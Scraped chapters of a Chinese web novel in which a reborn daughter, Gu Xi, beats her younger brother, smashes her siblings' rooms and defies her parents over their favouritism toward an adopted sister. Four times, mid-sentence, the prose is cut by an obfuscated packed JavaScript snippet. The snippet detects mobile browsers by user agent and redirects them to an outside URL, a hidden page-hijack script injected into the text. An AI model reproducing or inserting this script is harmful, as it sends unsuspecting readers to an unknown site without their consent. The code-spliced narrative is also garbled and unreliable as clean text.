长这么大,顾远辉还是第一次被人打,不是被父母兄长打,居然是被自己一向瞧不起的“姐姐”打。 顾远湘目瞪口呆地看着这一幕,吓得不行,想去阻止又不敢,生怕也被打,只能缩在门口叫道:“别打了,别打了……” 顾溪终于停手,丢下哭得稀里哗啦的顾远辉,走出房间。 顾远湘缩着身子站在一旁,紧张又惶然,看着她走出去,不禁松口气。 只是她发现,这口气松得太早了,当听到隔壁房间传来的声音时,心里有种不好的预感。 顾远辉还在哭,抽抽噎噎的,鼻青脸肿,头皮还秃了一块。 隔壁的动静太大,他也听到了,意识到那是他的房间,挣扎着起身,抹了把鼻涕眼泪,赶紧跑过去。 他们过来时,看到顾溪正在里头发疯,她一把将衣柜掀倒在地,又将床给掀了,然后是书桌、椅子、架子和顾远辉收集的一些玩具之类的,还有一个收音机,啪的一声摔在地上,直接摔烂了。 不过须臾,整个房间像台风过境,一片狼藉。 顾远辉气疯了,大叫道:“你在干什么?” 顾溪一脚踩在地上的一件白衬衫上,留下好大一个脚印,抬头看他:“你砸我的房间,我就砸你的。” 顾远辉扭曲着脸,气得心口疼,但到底不敢扑过去打她,怕自己被她打。 如果说几天前被她揍时,以为自己没来得及防备,那么刚才被她打了一顿,终于明白自己打不过她。顾溪的力气太大了,根本不像个女人,不愧是在乡下干农活挑粪长大的乡巴佬,有一身蛮力。 顾溪砸完东西,朝他们走过去。 门口的两人下意识地退开,缩在一起,生怕她过来打他们。 然而顾溪没动手,因为她去了另一间房间,推开门后就开始砸东西。 顾远湘很害怕,鼓起勇气说:“你干嘛?这是二哥的房间,他没有砸你的房间!” 顾溪没理会,一阵疯狂打砸,很快顾远征的房间也是一片凌乱狼藉。 其中最明显的,就是顾远征的衣服也被她扯在地上踩了好几脚。 接着她又去了顾远湘的房间。 这下子顾远湘也急了,想去阻止又不敢,生怕正在发癫的顾溪会打自己,只能委屈地说:“溪溪,你别这样,我没弄你的房间……” 顾远辉握紧了拳头,同样不敢阻止。 要是以往,顾溪敢欺负顾远湘,就算她说一句顾远湘的不对,他都要作弄回来,给顾远湘出气。 他就是不喜欢顾溪,就是讨厌她,不喜欢她回来,破坏了他们家,让顾远湘的存在变得尴尬,还让他们家成为家属大院的笑话。 所以他使着劲的作弄 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16171181|180674||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她,想将她逼走。 可是刚才被打了一顿,她打人实在太疼了,让他有种恍惚感,原来被打是这么疼的事,那些家暴的男人说要是女人不听话就打到她听话,是不是这种打法? 顾溪没理他们,推开门进去,看到一间面积不小,布置得很是温馨的少女的房间,里头很多摆设无不诉说着家里人对她的宠爱。 房间朝南,也是家里除了顾茂文夫妻的卧室外最好的一间。 房间里传来一阵乒乒乓乓的声音,顾远湘姐弟俩又急又气地站在门口看着,都不敢阻止。 他们都觉得,顾溪一定是疯了。 应该说,几天前顾溪打人开始,她就疯了。 但她为什么疯,他们根本不清楚,生气、恼怒、害怕、恐惧等情绪袭上心头,让两人一时间没了主意。 连续砸完三个房间,顾溪终于停手。 她朝那对缩在角落里的姐弟走过去,伸手去扯顾远辉。 十六岁的顾远辉已经是半大的少年人,甚至比顾溪还要高一大截。 但不知怎么的,被顾溪这么扯着,觉得自己就像只柔弱无助的小鸡崽,被她扯到面前时,以为她又要打自己,心里生出一种恐惧感,双手下意识护住自己的脑袋。 顾溪扯着他,将他拖到自己房间,直接推进去。 “将我的房间收拾好。”顾溪声音平静到冷漠,“要是收拾不好,我就打你。” 顾远辉:“……” 顾远辉很想有骨气地拒绝,反抗她的恶势力,但刚才被她打怕了,现在父母兄长都不在家,没有人能阻止她,生怕她又动手打人,只能憋着气去收拾。 顾远湘缩在旁边,看顾溪站在门口盯着,心里也是一阵害怕。 这时,顾溪转头看过来,她讨好地说:“溪溪,我、我也帮忙……” 顾远湘小心翼翼地挪进去,帮忙一起收拾。 顾溪房间里的东西不多,收拾得很快,最后只剩下地上散落了整个房间的碎纸屑,因为纸屑太多,不好收拾,需要用笤帚来扫。 顾远湘去拿笤帚过来打扫。 “踩脏的衣服要洗干净。”门口站着的顾溪开口道,“顾远辉,你去洗衣服。” 顾远辉说:“我不会。” 作为家中的小儿子,他从来没洗过衣服,根本不会洗。 “不会就学。”顾溪冷若冰霜,“洗不干净,我就打你。” 顾远辉又气又怕,只能抱着她的衣服去洗。 等顾远辉洗好衣服,房间也收拾干净。 顾溪仍是没放过他们,说道:“其他的我可以不计较,但我的书被撕了,你们要赔我。” 她很爱惜自己的书,翻看时都是小心翼翼的,生怕弄皱了。 从小她就羡慕那些能上学的孩子,作为养父母家中的长女,他们又重男轻女,需要女孩子帮忙干活、照顾下面的弟妹,让她读书是不可能的事。 回到顾家,知道可以读书,就算要和一群小学生挤在一块上学,她都能忍住羞耻,只要能让她读书。 重活一回,原本她是想将顾家当成陌生人看待的。 哪知道珍惜的书被撕了,戾气瞬间从心底腾升,让她无法控制自己。 顾远湘小心翼翼地问:“要赔多少?” 顾远辉不敢吭声,心里是不想赔的,还是那句话,怕被打,不敢不赔。 但他现在没有钱了,估计赔不起,她不会又想打他吧? 8. 第 8 章 顾远辉没有钱。 江惠君每个星期会固定给还在读书的孩子零花钱,相比起那些普通家庭的孩子,他们的零花钱也不算少了。 但架不住顾远辉花钱大手大脚,零花钱总是留不住,而且先前他为了给顾远湘买生日礼物,不仅花完所有的钱,还找同学朋友借了些。 这会儿,顾溪让顾远辉赔钱,顾远辉哪里拿得出来,一分钱都没有。 就算能拿得出钱,他其实也不想赔,不就几本破书嘛,能值什么钱?有必要赔吗?更过分的是,她居然狮子大开口,要他赔二十块。 还要赔给她一些票券之类的,她怎么不去抢? 虽然这么想,但他不敢说,小声地嘟嚷着:“你也砸了我的收音机。” 那是去年他生日时二哥特地送他的,可以放在自己房间里收听广播,他可喜欢了,一直小心地收藏着,都不给别人碰一下。 顾溪只是看着他,说道:“你要我赔?” 对上那双没有任何情绪的眼睛,顾远辉打了个哆嗦,赶紧摇头,生怕慢点就要被她打。 因为没有钱,顾远辉最后只能找顾远湘借钱。 他怕自己不赶紧还钱,她真的要打人。 等顾溪拿着钱回房,将门关上,顾远湘终于松口气。 见识过顾溪发疯打人砸房间,她现在真的很怕她,怕她动手打人,也怕她不管不顾地继续砸房间。 家里唯一没有被砸的只有父母的卧室,如果她真的动手,她都不敢想像父母下班回来看到会有多生气。 顾远湘心情复杂,转头看向顾远辉,看到他鼻青脸肿的模样,不禁叹气。 好不容易这脸好了,还没隔一天又被打成这样,估计又要养一段时间不能出门。 “我先给你上药吧。” 顾远湘拉着顾远辉去上药。 虽然顾远辉看起来被打得很惨,不过只要人没有昏迷吐血,不需要送去医院。只是等顾远辉脱了衣服,看到他身上青一块紫一块的,顾远湘心疼之余,也庆幸顾溪没有对自己动手。 她觉得自己肯定挨不过她一拳。 上完药,顾远湘急着去收拾房间。 想到自己的房间被砸了,她心里就难受得厉害,顾溪刚才砸东西时,真的没有手下留情,弄坏了很多东西,那都是她喜欢的。 “远辉,走吧,先去收拾房间。” 顾远辉素来听她的话,闻言跟在她身后,时不时因为扯到身上的伤嘶一声。 两人努力收拾,然而因为房里的东西太多,收拾起来比顾溪的房间麻烦多了,甚至被顾溪掀翻的衣柜这种笨重的大家伙,他们根本没办法将它搬起来摆正。 主要是顾远辉现在浑身都疼,使不出力气,顾远湘也没那么大的力气。 像顾远湘房间的大衣柜,那是当年江惠君特地找木匠做的,用的是好料子,就算过了十多年,质量都很好,格外耐用。 这样的衣柜有个特点,就是无比笨重,不能轻易挪动它,一般人还真没办法搬动,得两个大男人合力才行。 顾远湘使出吃奶的力气,发现没办法将倒在地上的柜子搬起来,反而累得直喘气。 她有些不可思议地想,顾溪这家伙的力气到底有多大?看她砸东西时,直接将衣柜掀翻在地,看起来真的挺轻松的样子。 怪不得她打顾远辉时,顾远辉都没法反抗,只能抱着脑袋蜷缩着身体挨打。 顾远湘放弃将衣柜扶正,朝顾远辉说:“远辉,以后别再惹她生气了。” 顾远辉脸皮抽搐了下,没有吭声。 浑身都疼得厉害,这是第一次他被打成这样,爸妈都没这么打过他。 要说不恨是不可能的,但他确实被顾溪打怕了,对顾溪是又怕又恨又怨。 没等他们收好房间,顾溪又来了。 当听到门板被人敲响的声音时,正在收拾的两人吓了一跳。 等看到站在门口的顾溪,两人受到的惊吓不亚于走夜路遇到杀人抢劫,心脏都要蹦出来。 “我饿了,去做饭。”顾溪说道。 顾远湘忙应一声,从收拾大半的房间出来,乖乖地去洗手做饭。 在厨房做饭的时候,顾远湘有些迷茫。 不对啊,以往做饭这事,不都是顾溪来的吗?只要顾溪在家,一日三餐都是由她做的,还要洗家里人的衣服,打扫卫生……每天大伙儿还在睡时,她就要早起做饭,等他们醒来,早饭已经做好了。 不过这几天,顾溪不在家,江惠君又要上班,只有放假在家的顾远湘做饭洗衣服打扫卫生。 连着做了几日,她都做习惯了。 以往那种坐下就可以吃饭的时光一去不回。 做好午饭,顾远湘乖乖地上楼叫人。 只有顾溪一个人下来,顾远辉躲在房间里,不敢和她一起吃饭。 顾溪也不在意,径自吃着,将桌上的肉都夹到自己碗里,虽然也没几片肉,毕竟中午只有他们三人在家吃饭,一般不会做得太丰富,简单地吃一些,只有晚上大家回来后才会多炒几个菜。 ** 傍晚,顾茂文夫妻和顾远征三人同时到家。 进门时就闻到厨房飘来的饭菜香,知道是顾远湘在做饭。 回到家就有饭吃,让工作一天的人多少有些放松,心情也不觉好了几分。 不过这种好心情在看到顾远辉时没了,三人吃了一惊。 “远辉,你的脸怎么了?”江惠君吓得不行,“谁打的?伤得怎么样?疼不疼?去医院检查了吗……” 顾茂文和顾远征的脸色也不好,任谁看到顾远辉被打成这样都不会高兴。 顾远辉今天被顾溪一顿暴打,又惊又吓,生怕她随时暴起打自己,担惊受怕了一整天。这会儿见到父母和兄长回来,被他们这么一关心,那种委屈的心情就控制不住。 他忍不住哇的一声哭出来,一边哭一边说:“是顾溪打的!爸、妈,她打我……” 三人同时怔住。 江惠君吃惊地说:“溪溪打你?怎么会?溪溪应该不会打人。” 对顾溪逆来顺受的印象太过根深蒂固,一时间三人都不怎么相信,就算她上次也打了人,但那不是只打一下就跑吗…… 不过顾远辉哭得实在太惨,信誓旦旦地说是顾溪打的,让他们不得不相信。 顾远征问:“她回来了?” 顾茂文拧起眉头,沉着脸道:“她在哪里?让她过来。” 厨房里的顾远湘听到动静,忙跑出来,见到三 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16171182|180674||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人回来,先是一喜,只是想今到今天的事,那股喜悦又压下来。 见识过顾溪发疯时的狠劲,她现在不确定父母能不能压制得住她。 应该可以的吧,顾溪就算再疯,多少也要顾忌父母,孩子对父母有一种天然的敬畏,可以和兄弟姐妹打架,但绝对不敢反抗父母的权威。 “她在楼上房间。”顾远湘小声说。 顾茂文没想到顾溪回来就打人,将小儿子打成这样,十分生气,沉着声说:“远征,你去叫她下来。” 顾远征应一声,上楼去叫人。 上到二楼,经过楼梯口的第一间房,当看到里头的狼藉,顾远征瞪大了眼睛。 这是他的房间。 为什么他的房间变成这样?柜子书桌窗台的摆件等都翻倒在地,衣服丢得到处都是,连床板都被掀起来…… 顾远征满脸愕然,难道有人在他房间打架? 他首先想到的是顾溪和顾远辉,这两人今天一定是打架了,而且顾远辉那样子显然被打得挺惨的。 虽然作兄长的不能和弟妹计较太多,但任谁看到自己房间被人搞成这样,也不会高兴。 他忍着气,冷着脸来到顾溪的房间敲门。 “顾溪,出来!” 一会儿后,门从里头打开,穿着睡衣、顶着一头乱发的顾溪出现。 看她乱翘的头发,脸颊上的压痕,就知道她先前在睡觉。 现在都什么时候了,她居然还在睡觉,不会是午饭后一直睡到现在吧?她几时这么懒了? 想到顾远辉脸上的伤,自己的房间貌似被砸都和她有关,顾远征就没办法保持冷静。 他压下怒气,冷声道:“爸叫你下去。” 顾溪哦一声,看也没看他一眼,当着他的面甩上门。 顾远征:“……” 顾远征又等了会儿,终于见门再次打开,换了一身衣服的顾溪走出来。 她没看站在门口处的顾远征,朝楼下走去。 楼下客厅里,江惠君心疼地搂着顾远辉安慰,顾茂文黑着脸坐在旁边,屋里的气氛很不好。 看到顾溪,顾茂文厉声道:“你过来,跪下!” 顾茂文是典型的大家长,在顾家向来说一不二,除了在部队当兵的长子顾远扬外,其他孩子都有些怕他,一旦他动怒,吓得噤若寒蝉,绝对不敢在他面前放肆。 显然这次顾茂文真的生气了。 两个孩子打架,将人打成这样,不管怎么说都过了。 顾家不兴打孩子,不过孩子要是做错事,还是会惩罚的,例如让他们跪下,什么时候知道错误什么时候起来。 这也是这时代的一种教育方式。 顾溪走过去,离他几步时停下来,平静地说:“有什么事?” 看她直挺挺地站在那儿,不说跪了,甚至敢直视动怒的顾茂文,顾家所有人都吃惊地看着她。 厨房里的顾远湘小心探头,不知道她怎么这么大胆,居然不怕爸爸生气。 顾远辉原本还指望他们爸爸教训顾溪,给他出气,压制她的嚣张气焰,最好也打她一顿。 但现在看,顾溪好像还是疯得厉害,连爸都不怕了。 想到她身上那股疯劲,他打了个哆嗦。 9. 第 9 章 顾茂文有种被儿女挑衅权威的不悦。 不过更多的是惊讶,似是没想到这个平时怯懦安静、让他觉得丢脸的孩子居然敢直视自己,倒是有几分可取。 他压下心底的不悦,沉声说道:“你为什么要打远辉?” 江惠君怜惜地搂着顾远辉,盯着顾溪,顾远辉扭头狠狠地瞪她。 顾远征站在楼梯口处,看着她面上若有所思。 顾远湘也在厨房门口那边看着。 被众人盯着的顾溪没有像以前那样胆怯地低下头,安静地认错,或者避开他们的目光,甚至有胆开口:“是他先动手打我的。” “我没有!”顾远辉大声说,“我进门你就用书砸我,你还动手打我,不信你们问二姐!” 顾茂文看向顾远湘,“是吗?” 顾远湘迟疑了下,点了点头。 确实如此,虽然顾远辉冲过去一副要打人的模样,但先动手的是顾溪。 顾溪道:“他砸了我的房间,撕了我的书,他没有经过我的同意就进我的房间,我让他出去有什么不对?” 这话没人赞成。 这年头同住一个屋檐下的家人之间是没什么隐私的,也没有这个概念,可以随意地进出他人的房间。 至于顾远辉砸她的房间、撕她的书的事,顾家人都知道,觉得这不算什么。 顾溪继续说:“后来他撞我,我生气了,只好打他。”她也问顾远湘,“是不是这样?” 顾远湘被她问得头皮发麻,不敢撒谎,只好点头。 江惠君道:“溪溪,你几天前打了远辉,他生气才会砸你的房间,要是你在家里,他哪里会这么做?” 说到底,还是不怎么高兴她跑去沈家,一待就是好几天。 要是她在家,大家把话说清楚,何至于顾远辉生气到跑到她的房间里打砸破坏? 顾溪看她一眼,“是顾远辉先说我坏话,说我是破鞋。” “什么?” 这下子顾茂文夫妻俩都愣住,看向顾远辉。 很显然,当日顾溪打人时,顾远辉兄弟三人都没提这事,或许在他们看来,不过是点口头冲突,又在自家里说的,这不算什么,没有提的必要。 顾溪和他们相处了五年,太了解这些人是什么德行,哪里不清楚。 以前是她傻,被乡下愚昧的、重男轻女的养父母Pua十五年,养成自卑怯懦的性子,他们说只要她乖巧懂事、在亲生父母家里多干活,大家就会喜欢她,家里也会和睦,时间长了,能消除十五年的分离,她总会成为这个家里的一员,他们会像对待顾远湘一样爱她。 但她不知道是否真的能等到这一天,让他们像爱护顾远湘一样爱护自己。 因为她死了,等不到了。 人都死过一回,当了几十年的阿飘,什么没看过,早就想开了。 除生死之外无大事,如今回想起来,那些曾经在意的事十分可笑,她已经不在意这些人,打就打了,怕什么? 大不了再死一次呗。 顾远辉没想到她会扯这话,以他的年纪,当然知道“破鞋”对一个女孩子来说有多难听,要是在外面说,那是要出大事的。但他早就习惯打压顾溪,为了让她难受,什么难听的话都能说出口。 他辩解道:“我、我只是随便说说的……” 顾溪道:“所以我也随便打你,这不是应该的吗?”她露出一个很浅的笑容,看起来像皮笑肉不笑,“以后再让我听到这种话,我听一次就打一次。” 顾远辉瑟缩了下。 顾茂文夫妻俩没想到还有这事,一时间都不知道说什么。 这时,顾远征开口,“你当时也打我,我可没说什么。”顿了下,继续道,“还有的我房间,是不是你砸的?” 原本以为是她和顾远辉打架弄的,想想这不像打架造成的,更像是故意的。顾远辉和顾远湘应该不会无缘无故做这种事,那只有她了,毕竟她现在都敢打人,砸房间估计也敢。 难道是被顾远辉欺负太久,终于爆发了? “你还砸房间?”顾茂文皱眉。 虽然他不喜她被乡下那对愚昧的夫妻养得自卑怯懦,不像顾家人,一点也不讨喜,但也不能这么胆大妄为,哪像个女孩子? 顾溪道:“你当时要阻止我,我只好打了,不然等着你打我吗?至于你的房间,你们既然能眼睁睁地看着顾远辉砸了我的房间、撕我的书,那我就砸你们的,这很公平。” 她说得理直气壮,仿佛这真的很公平。 众人一时间都不知道说什么好。 “哪里公平?”顾远征压着气,他想说自己不会打人,但现在说这个没用,“你简直无理取闹。” 顾溪没反驳,无所谓地道:“你要是这么认为也可以,要不你去砸回来?我开门给你砸。” 砸回来,然后让你继续砸吗? 顾远湘默默暗忖,越发的觉得顾溪疯了,疯得好可怕。 顾远征发现她真的是不可理喻,像个疯婆子似的,根本就说不通。 突然间怀念起以前安静乖巧的顾溪,忍不住想,难道是因为那天她向自己讨要生日礼物,他没给她准备,所以她要报复自己,拿他的房间出气? 顾茂文夫妻原本很生气,被顾溪这一辩驳,突然发现实在气不起来,一口气梗在心口。 这都叫什么跟什么啊? “就算这样,你也不能随便动手打人啊!”江惠君有些埋怨,“有什么事不能好好说的?一定要动手?” 小儿子被打成这样哪里能不心疼? 哪知道顾溪居然点头,“当然要动手,因为有些人听不懂人话,说了也没用。” 这话意有所指,在场的人都能听出来,知道她说的是顾远辉。 也有可能是指其他人。 江惠君被她怼得心口疼,只能强调:“溪溪,打人是不对的,你是女孩子,怎么能打人?” “可我不打人,他就要打我。”顾溪坚持,表示她就是要这么干,“你不会以为顾远辉不打我吧?” 江惠君愣了下,转头看顾远辉,“你打溪溪?” 顾远辉想说自己没有打她,但顾溪盯着他,怕自己这一反驳,顾溪估计又要打自己,只能支支语语的。 见状,江惠君哪里不明白。 顾茂文也觉得头疼,说道:“顾溪,远辉是弟弟,你当姐姐的让一让他。” 他没再提打人的事,这事确实是顾远辉不对,但顾远辉是小儿子,平时也是被大家宠着的,宠得有些无法无天,但也不能让他被当姐姐的打成这样。 原本以为他说这话,顾溪会认错,并保证以后不会再犯,哪知道顾溪今天仿佛要和他们对着干似的,她不仅没认错,甚至还说:“凭什么要我让他?我让他的结果就是他会打我、作弄我,那不如打到他听话,打到他不敢打我、作弄我,不是吗?” 众人:“……” 这话听着虽然像歪理,但好像挺有道理的。 可惜再有道理的话,在偏心面前都要退让,顾茂文心头不悦,觉得她这是要和自己对着干,原本平息的怒气再次噌的上来了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16171183|180674||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “顾溪!”顾茂文声音大了几个分贝,“你到底要做什么?” 顾溪一脸疑惑,“我没要做什么啊。” 顾茂文噎住,这是第一次,孩子不仅不服管教,还要顶嘴,说一句她就能顶上几句,让他觉得十分没面子。 顾茂文道:“惠君,你说说她!” 他很少插手女儿们的教育,都是由江惠君这母亲去教导和沟通,这会儿发现顾溪不听话,说又说不通,只能头疼地让江惠君去说。 江惠君看向顾溪,张了张口,不知道说什么。 说她打人不对?说她下手太重?说她不应该砸顾远征的房间?说她…… 但刚才的事告诉她,顾溪现在不听话了,说了也没用,这孩子就像是什么都无所谓,让人没辙。 最后还是顾远湘过来说晚饭做好了,打破屋里的沉默。 时间不早,众人只好先去吃饭。 顾溪也坐上桌,一筷子夹了大半碗的炒鸡蛋到碗里,默默地吃着。 其实她没什么胃口,不仅是天气闷热,也是身体沉甸甸的,十分难受,不过仍是逼着自己多吃点,好好养身体,她不知道自己还能活多久,既然活着,那就先好好地活着。 众人看到这一幕,想说什么又忍住。 以往吃饭,顾溪都是只夹面前的青菜,其他的菜不敢多吃,顾远辉他们可不会让着她,碗里好吃的都会先夹走,不会招呼她吃。 这会儿,见她主动夹菜夹肉,和大伙儿抢菜,一时间心里不知道是什么滋味。 吃过饭,顾溪就回房了。 顾远湘洗好碗筷,过来说:“二哥,我房里的衣柜倒了,扛不起来,你和爸爸帮我扛起来摆正吧。” 顾远辉伤着,没有力气,只能让顾茂文和顾远征来干了。 顾茂文疑惑,“你房里的衣柜怎么会倒?” “溪溪将它掀翻的。”顾远湘扁嘴,说起这事就十分委屈。 “怎么?”江惠君愕然,“好好的,溪溪掀它做什么?” 顾远湘小声说:“她今天不仅砸了二哥的房间,也砸了我和远辉的房间。” 这下子,顾茂文等人再次惊呆了。 逆来顺受的顾溪突然干这种事,让他们一阵不适应,实在想不通,她为什么要这么做?她这发的是什么脾气。 顾茂文原本就没有散的气又上来,当即去敲顾溪的门,质问道:“你怎么砸你二哥和湘湘的房间?他们可没得罪你。” 顾远辉砸她的房间、撕她的书,她打了顾远辉,他们可以不理,但她砸顾远征和顾远湘的房间是不对的。 顾溪道:“顾远辉砸了我的房间,你们什么都不做,没有劝他,也没有罚他,那我砸了他们的房间,也不算什么吧?你要是不高兴,就先罚顾远辉。” 顾茂文:“……” 这女儿几时这么伶牙俐齿了? 顾溪抬头看他,平静地问:“还有什么事吗?” 顾茂文咬牙,觉得不能这样,成何体统,语气变得严厉:“你这么做是不对的,去下面客厅跪着,好好反省,什么时候知道错就什么时候起来!” “我没错!”顾溪扭过头,“要跪你去跪,我不跪!你要是不想跪,就让顾远辉他们跪!” 说着当着他的面将门关上,爱跪不跪,休想让她跪。 顾茂文气得浑身发抖。 这还是第一次,有孩子敢这么和他顶嘴,如此不听话,他用力地拍着门板,“顾溪,出来!” 然而门始终没有开,顾茂文的手心都拍红了,也没能将人叫出来。 10.第 10 章 第二天,顾家人的精神都不太好。 昨晚他们收拾得太晚,特别是搬柜子时,可能是年纪大了,也可能是柜子实在太笨重,顾茂文不小心闪到腰,差点被柜子压在下面,吓得一群人惊叫连连,兵荒马乱的。 顾茂文这辈子经历的事不少,但像这种搬柜子闪到腰的事还是第一回。 虽然睡前江惠君用药油帮他推拿过,但那股酸痛又刺麻的劲儿,让他整晚都没睡好,这精神自然也不好。 江惠君和他一张床,也被他折腾得没怎么睡。 顾远辉昨晚也疼得厉害,同样没睡好。 至于顾远征和顾远湘,两人光是收拾房间就到大半夜,再加上看到自己房里一些心爱的摆件和收藏被砸得稀巴烂,没几样好的,气得够呛,根本就睡不着,而且这一大早,顾远湘还要起床给一家人做早餐,睡得更少。 一群人坐在餐桌前,哈欠连连,食不知味。 顾远征虽然困得厉害,不过他是年轻人,倒是能熬,转头关切地问:“爸,你的腰没事吧?要不要去医院找医生看看?” 其他人也关心地看着顾茂文。 “没事。”顾茂文不想在儿女面前丢脸,故作不在意地说,“你妈昨晚用药油给我推拿过了,今天好了很多,只要注意点应该没事。” 江惠君却不放心,“老顾,要不要今天请假在家好好歇着?”这上了年纪的人,闪到腰可不是小事。 顾茂文摇头:“今天局里有个重要的会议,走不开。” 顾远辉顶着一张青肿的大花脸,和顾远湘小声嘀咕:“那贱人真是个搅屎棍,迟早有一天……” 话还没说完,就见顾溪从楼上下来。 他吓得打了个嗝,只觉得浑身都在疼,猛地闭嘴,脸上一阵心虚。 顾溪神色自然地坐下吃早餐。 看到害他们没睡好的罪魁祸首,顾茂文夫妻的脸色实在不好。 昨晚顾茂文拍她的房门,手心都拍肿了,顾溪始终没有开门,让他气得够呛。这么多孩子,就算当年最犟的长子顾远扬,也没像顾溪这样叛逆乖张,给他气受,挑战他的权威。 如果不是还有理智在,估计都想破门进去,将她揪出来跪地板。 要是撞坏门找人来修,还不知道外人怎么看呢。 顾溪给自己盛了碗豆粥,配着煎鸡蛋和咸菜慢吞吞地吃着。 她皱着眉,一边吃一边说:“鸡蛋煎得太老,放的盐太多,又腥又咸,不好吃。” 胃在翻腾,让她恶心欲吐,但她忍住了,强迫自己进食。 进食是活着的方式之一,总不能还没死就搞垮身体。 忍着身体极度的不适,她努力地往胃里塞东西,能塞多少就塞多少。 顾远湘听到这话不禁委屈,心里想着既然不好吃那就别吃啊。 从小到大她被父母和兄弟们宠着,没怎么做过家务,在顾溪没回来前,家里有保姆,后来保姆回老家了,还有顾溪包揽家里所有的家务,同样不需要她动手,她只要舒舒服服地坐着等吃就好。 她也是最近才在江惠君的指导下做饭的,能做熟都算不错。 顾茂文将筷子拍在桌上,生气道:“不好吃就别吃,给我滚出去!” 江惠君见老顾生气,想起昨晚的事,担心父女俩真的闹到不可收拾,苦口婆心地劝道:“溪溪,你少说两句,别惹你爸生气!还有,湘湘一大早就起床给咱们做早餐,真是辛苦了,她已经做得很不错。” 这么说着,她一脸心疼地看着养女,顾远湘越发的委屈。 顾溪疑惑地看她,“她辛苦?我从三岁起就开始做饭、下地干活,给全家人洗衣服,做了十几年,你怎么不说我辛苦?”想到什么,她冷下脸,“所以她做顿饭就很辛苦,让你们心疼得不行,我干了十几年的活就不辛苦,是吗?” 众人:“……” 江惠君反应过来,自己这话说得不对。 她有心想要说点什么,听到顾溪继续说:“虽然不好吃,但比乡下掺着野菜的窝窝头好吃多了,至少没有苦涩味,也没有硬得磕牙,还能吃饱。而且鸡蛋这东西,一年到头都不能吃一次,这可是稀罕物呢,女娃没资格吃……” 众人听得一愣。 这种话她以前从来没有说过。 虽然知道她在乡下长大,可她在乡下过的是什么日子,他们并不清楚,对农村生活的印象不深,也没具体概念,更不知道作为女娃在乡下那种重男轻女的家庭过的是什么样的生活。 她不说,他们也从来不问。 或许顾溪刚回来时,江惠君会关心地问几句,但那些问题大多只是流于表面,那时候她更担心顾远湘会因为自己不是顾家的孩子多想,会做出什么傻事,心思更多的在养女身上,没怎么用心听顾溪说什么。 后来见顾溪安安静静的,帮着家里干活,家里好像也没什么变化,便不再问。 顾溪说完后,继续吃早餐。 她说这些倒是没什么意思,只是单纯陈述,好教他们知道,以前她过的是什么生活,现在她不想再给人当牛作马,不想干那些事了。 如果他们要她干,她只能继续打人。 众人不知道说什么,心情十分复杂。 江惠君心里闷闷的难受,说道:“溪溪,你以前怎么不和我说?” “说什么?”顾溪抬头看她,目光在这群人脸上转了转,神色平静,“我说了有用吗?你们都嫌弃我没文化,又丑又土,不能像顾远湘这么干净漂亮又体面,我给顾家丢脸,害你们丢脸,当初我回到顾家这事,让顾家成为家属大院里的笑话,让你们觉得不应该接我回来的……” “溪溪,我们没这么想。”江惠君赶紧打断她,面上有些不自在。 顾茂文僵着脸,就算心里这么想,被她说出来,让他觉得难堪无比。 他从来不知道,这个性子沉闷、嘴笨的女儿如此能说会道,说起话来怼得人心口疼。 顾远征难得怔住,不知怎么的,心口微涩。 顾远湘低头不敢说话。 只有顾远辉暗暗撇嘴,觉得她有自知之明。 顾溪完全不在意这些人的反应,说道:“你们有没有这么想自己清楚。” 顾茂文听不得这种话,生气道:“你什么意思?怨我们不成?我们是你的父母!” 在他看来,不管父母做了什么,为人儿女都不应该怨恨父母,这是不孝。 顾溪的指责在他看来就是不对! 顾溪丝毫不悚他,继续说:“你们不会以为大院里的人不知道吧?说不定人家私底下不知道怎么嘲笑你们,笑你们是冤大头,脑子有问题,不疼自己受苦的亲生女儿,反而去疼个在城里过好日子的假女儿,想必你们给别人养孩子养得很快乐吧?” 餐桌前所有人都僵住了。 他们呆呆地看着顾溪,以为自己听错了。 这话真是太锥心了,对好面子的人而言简直是绝杀。 “你你你……”顾茂文抓着筷子的手都在发颤,“胡说八道! ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16175426|180674||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 